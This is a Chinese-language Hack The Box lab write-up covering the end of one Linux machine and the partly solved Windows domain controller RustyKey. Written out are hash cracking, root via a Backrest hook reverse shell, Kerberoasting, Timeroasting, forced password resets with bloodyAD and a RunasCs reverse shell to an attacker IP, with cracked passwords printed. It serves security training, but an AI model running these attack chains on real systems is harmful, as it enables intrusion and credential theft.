首先，我們使用 LinPEAS 進行系統內部的自動化列舉。在掃描結果中，我們發現了一個可疑的 SQLite 資料庫檔案： users.db 。這類檔案通常包含應用程式的使用者資料，極有可能存放著敏感資訊。
我們使用 sqlite3 存取該檔案。透過 .dump 指令，我們匯出了資料庫中的所有 SQL 語句與資料：
$ sqlite3 users.db
> .dump
可以看到，我們獲得了這些使用者的 MD5 hash。
我們試著利用 hashcat 破解這些 hash ，成功破解了以下這2位使用者的 hash ：
$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
gael|mattp005numbertworoyer|marwinnarak043414036
我們以 gael 的身份 SSH 登入，成功拿到 user flag 。
$ sshpass -p 'mattp005numbertwo' ssh gael@10.10.11.74
- User Flag
/home/gael/user.txt
4. Internal Website
在取得 gael 的 shell 後，我們檢查系統的網路連線狀態。發現本地介面 (127.0.0.1) 正在監聽 port 9898 。
使用 curl 驗證後，確認這是一個僅限內部存取的 HTTP 網頁服務。
$ netstat -tulnp
$ curl http://127.0.0.1:9898 -i
為了從攻擊機瀏覽器存取這個內部網頁，我們建立一個 SSH tunnel (local port forwarding) ：
$ ssh -N -L 9898:127.0.0.1:9898 gael@10.10.11.74
這條指令將目標機器的 127.0.0.1:9898 轉發至我們攻擊機的 port 9898。
造訪 http://127.0.0.1:9898 ，我們看到了一個名為 Backrest 的備份管理介面：
在系統列舉過程中，我們在 /var/backups/ 目錄下發現了一個名為 backrest_backup.tar.gz 的備份檔案。這通常是提權的黃金路徑。
- Sensitive Files
解壓縮後：
查看 .config/backrest/config.json 設定檔，發現了一串經過 base64 編碼的敏感字串：
.config/backrest/config.json
base64 decode後，得到一組以 $2a$10$ 開頭的 hash ，這表明它是 bcrypt 雜湊：
$ echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d
使用 John the Ripper 進行破解：
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=Wordlist
成功破解：backrest_root | !@#$%^
使用破解得到的密碼登入 Backrest 網頁介面：
這類備份軟體通常允許定義備份計畫（Plans），並具備執行腳本的功能。
我們點選 + Add Plan 新增一個備份計畫，重點在於 Hooks 設定。Hooks 允許在備份任務開始前或結束後執行自定義的 Shell 指令。
在 Hooks 的執行欄位中，我們填入 /tmp/shell 的指令 (預先上傳的 reverse shell )。由於 Backrest 服務是以 root 權限運行的，這裡執行的任何指令都將繼承 root 權限
- add
Hooks
接下來就架好 nc -nvlp 443 listener ，等待排程執行：
當 hook 被觸發時，成功接收到來自目標主機的連線，且權限為 root ：
$ nc -nvlp 443
成功拿到 root flag ：
/root/root.txt
Week 7 - RustyKey (root unsolved)
🕒 2025/07/02
[ROOT UNSOLVED]
- IP:
10.10.11.75 - OS:
Windows - Difficulty:
Hard - Cred:
rr.parker|8#t5HE8L!W3A
1. Enumeration
首先，我們來用 nmap 掃這台機器的所有 ports 。
$ sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.75
從掃描結果中，我們可以觀察到幾個關鍵資訊，確認這是一台 Domain Controller ：
- Port 53 (DNS): 開放了 Simple DNS Plus，這是 DC 的標準配備
- Port 88 (Kerberos): 這是 Windows 網域認證的核心服務
- Port 389 / 636 / 3268 (LDAP/LDAPS): LDAP 服務回傳了網域資訊
Domain: rustykey.htb0，這透露了目標網域名稱可能為rustykey.htb - Port 445 (SMB): 顯示
Message signing enabled and required，這是 DC 的預設安全設定
接下來，也掃一下一些 UDP ports ：
$ sudo nmap -sU -sV -v -T4 -A --top-ports=20 -oN nmapU.txt 10.10.11.75
- Port 123 (NTP) 是開啟的。
接下來，為了確認 DC 的具體 hostname ，我們使用 dig 向目標 DNS server 查詢：
$ dig ANY rustykey.htb @10.10.11.75
可以看到 dig 的輸出結果中，回傳了 rustykey.htb 與 dc.rustykey.htb 的 A 紀錄指向10.10.11.75。
所以我們把 10.10.11.75 rustykey.htb dc.rustykey.htb 加進去 /etc/hosts ：
/etc/hosts
官方有給一組帳號密碼，我們嘗試列舉 SMB shares ：
$ nxc smb 10.10.11.75 -d rustykey.htb -u rr.parker -p '8#t5HE8L!W3A' --shares
伺服器回傳了 STATUS_NOT_SUPPORTED ，這通常意味著目標機器（DC）禁用了 NTLM 認證，或者強制要求更安全的認證機制。因此，我們必須改用 Kerberos 協定來進行存取。
以下介紹兩種以 Kerberos 來存取 SMB shares 的方法：
-
直接使用 Kerberos 認證
為了使其支援 Kerberos ，我們首先配置
krb5.conf：krb5.conf
指定
KRB5_CONFIG環境變數以及在指令中加入-k：$ KRB5_CONFIG=/home/kali/HTB/rustykey/kerberos/krb5.conf nxc smb dc.rustykey.htb -d rustykey.htb -u rr.parker -p '8#t5HE8L!W3A' -k --shares
(Note： 使用 Kerberos 時，目標必須使用 FQDN(dc.rustykey.htb) 而非 IP，否則會發生KDC_ERR_S_PRINCIPAL_UNKNOWNerror 。)
-
先獲取 TGT 再使用 Pass the Ticket
另一種方式是先手動向 KDC 請求 TGT ，將票據存為
.ccache檔，再讓nxc使用該 ticket 。這種方式可以確認 KDC 的連線狀態，且不需要在後續指令中重複輸入密碼。獲取 TGT ：
$ impacket-getTGT rustykey.htb/rr.parker:'8#t5HE8L!W3A' -dc-ip 10.10.11.75
指定
KRB5CCNAME環境變數以及在指令中加入--use-kcache(Pass the Ticket) ：$ KRB5CCNAME=/home/kali/HTB/rustykey/kerberos/rr.parker.ccache nxc smb dc.rustykey.htb -d rustykey.htb --use-kcache --shares
不過我們在 SMB shares 當中沒發現什麼。
接下來，我們用 BloodHound 遠端掃掃看：
$ bloodhound-python -u rr.parker -p '8#t5HE8L!W3A' -d rustykey.htb -ns 10.10.11.75 -c All --zip
我們特別發現到， IT-Computer3$ 的創建時間( Created )與最後密碼設定時間( Password Last Set )兩者不一致，且時間差並非機器帳戶自動輪替密碼週期（通常為 30 天）的倍數。這是一個強烈的指標，暗示此帳號並非透過標準的 Domain Join 程序加入，而是由管理員手動建立的。
基於此推論，該帳戶的密碼極有可能是人為設定的弱密碼，而非系統自動生成的120字元高強度亂碼。這意味著雖然它是電腦帳戶，但具備了被破解的高價值。
2. Kerberoasting (Computer Account)
雖然標準的電腦帳戶只要有 SPN 都可以被 Kerberoasting ，但通常因為密碼無法破解而被忽略。然而，針對上述推論出的人工電腦帳戶，我們可以以 IT-Computer3$ 向 DC 請求 TGS ticket (Kerberoasting) 。
$ impacket-GetUserSPNs -dc-ip 10.10.11.75 -usersfile com.txt -outputfile hashes_kerberoast.txt rustykey.htb/rr.parker:'8#t5HE8L!W3A'
我們成功提取了 hash ，證明該目標確實設定了 SPN 且回應了 TGS 請求。
接下來，我們使用 hashcat 進行離線破解：
$ hashcat -m 13100 hashes_kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
破解成功：IT-Computer3$ | Rusty88!
2-2. Timeroasting
另外，從 nmap 的 UDP 掃描結果可以得知 port 123 (NTP) 是開啟的，這滿足了 Timeroasting 攻擊的網路連通條件。
我們也可以利用 Timeroasting 提取 IT-Computer3$ 的 password hash 。
Timeroasting 是一種針對 AD 的攻擊技術，它的目標非常明確：竊取 Computer Accounts 或 Trust Accounts 的 password hash。
Timeroasting 利用的是 Windows 的 NTP (Network Time Protocol) 認證機制。
- NTP 認證機制： 在 Windows AD 環境中，機器之間同步時間時，支援一種「認證模式」以確保時間來源是可信的。這個認證過程會使用機器帳戶的密碼（具體來說是 NT hash）來對 NTP 封包進行簽章 (MD5)。
- 利用 RID (Relative ID)： 攻擊者可以向 DC 發送一個 NTP 請求，並在請求中指定某個機器帳戶的 RID (Relative ID) 作為 Key ID。
- 強迫簽章： 如果該機器帳戶存在，DC 就會用該帳戶的 hash 對回傳的時間封包進行簽章。
- 離線破解： 攻擊者收到這個帶有簽章的封包後，就可以在本地進行離線暴力破解。一旦破解成功，就拿到了該機器帳戶的明文密碼 (或是 NT Hash)。
詳細介紹可參考：
https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/timeroasting
我們利用 GitHub 上現成的工具來做 Timeroasting ：
https://github.com/SecuraBV/Timeroast/blob/main/timeroast.py
$ python3 timeroast.py 10.10.11.75
可以看到，我們成功拿到了 hash 。
接下來用 hashcat 做離線破解：
(備註：需要用 beta 版 hashcat ：http://hashcat.net/beta/)
$ ./hashcat.bin -m 31300 ../hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
同樣破解成功：IT-Computer3$ | Rusty88!
3. IT-Copmuter3$ -> bb.morgan
從 BloodHound 可以發現到，我們可以把 IT-Computer3$ 加進去 group HelpDesk (AddSelf) ，從而更改 ee.reed 、 bb.morgan 、 gg.anderson 的密碼 (ForceChangePassword) ，進而藉由 WinRM 連上這台機器（因為他們皆是group Remote Management Users 的一員）。
- 首先，將
IT-Computer3$加入 groupHelpDesk：
$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k add groupMember HELPDESK 'IT-Computer3$'
- 成為 group
HelpDesk的一員後，我們強制重置 useree.reed、bb.morgan、gg.anderson的密碼為P@ssw0rd：
$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k set password ee.reed 'P@ssw0rd'
$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k set password bb.morgan 'P@ssw0rd'
$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k set password gg.anderson 'P@ssw0rd'
3-1. 我們嘗試獲取這些使用者的 TGT 時，我們遇到以下錯誤 (KDC_ERR_ETYPE_NOSUPP) ：
$ impacket-getTGT rustykey.htb/ee.reed:'P@ssw0rd' -dc-ip 10.10.11.75
$ impacket-getTGT rustykey.htb/bb.morgan:'P@ssw0rd' -dc-ip 10.10.11.75
$ impacket-getTGT rustykey.htb/gg.anderson:'P@ssw0rd' -dc-ip 10.10.11.75
3-2. 回到 BloodHound 檢查，發現這些使用者隸屬於 group SUPPORT 或 IT ，而這些群組被加入了 group PROTECTED OBJECTS 。可能正是因為如此，所以我們的 Kerberos 相關存取被受限制。
可以看到， group HelpDesk 對 group PROTECTED OBJECTS 具有 AddMember 的權限：
3-3. 故我們可以利用 IT-Computer3$ 的權限，將 group SUPPORT 和 group IT 從 group PROTECTED OBJECTS 中移除，從而解除保護：
$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'IT'
3-4. 解除保護後，我們再次嘗試使用新設定的密碼請求 TGT ，這次成功獲取了 ee.reed 和 bb.morgan 的 ticket (.ccache) ：
(gg.anderson 則失敗)
$ impacket-getTGT rustykey.htb/ee.reed:'P@ssw0rd' -dc-ip 10.10.11.75
$ impacket-getTGT rustykey.htb/bb.morgan:'P@ssw0rd' -dc-ip 10.10.11.75
$ impacket-getTGT rustykey.htb/gg.anderson:'P@ssw0rd' -dc-ip 10.10.11.75
- 接下來，我們利用 evil-winrm 嘗試登入 (設定環境變數以使其正確指向指定的
krb5.conf以及.ccache) ：
ee.reed 登入失敗 (GSSAPI error) ：
bb.morgan 登入成功：
成功以 bb.morgan 登入拿到 user flag ：
C:\Users\bb.morgan\Desktop\user.txt
4. bb.morgan -> ee.reed
由於之前透過 WinRM 登入 ee.reed 失敗以及獲取 gg.anderson 的 TGT 失敗，我們改在 bb.morgan 的 session 中利用 RunasCs.exe 來嘗試進行本機使用者切換：
(RunasCs.exe: https://github.com/antonioCoco/RunasCs/releases/tag/v1.5)
首先，我們以指令 whoami 確認一下指令是否會執行：
> .\RunasCs.exe ee.reed "P@ssw0rd" "cmd /c whoami"
> .\RunasCs.exe gg.anderson "P@ssw0rd" "cmd /c whoami"
以 ee.reed 的身份執行成功；以 gg.anderson 的身份執行失敗。
確認可以以 ee.reed 的身份執行後，我們利用 RunasCs 執行 reverse shell 回連到攻擊機，以獲得一個穩定的 ee.reed shell ：
> .\RunasCs.exe ee.reed "P@ssw0rd" cmd.exe -r 10.10.14.10:443
$ nc -nvlp 443
成功取得 ee.reed 的 shell。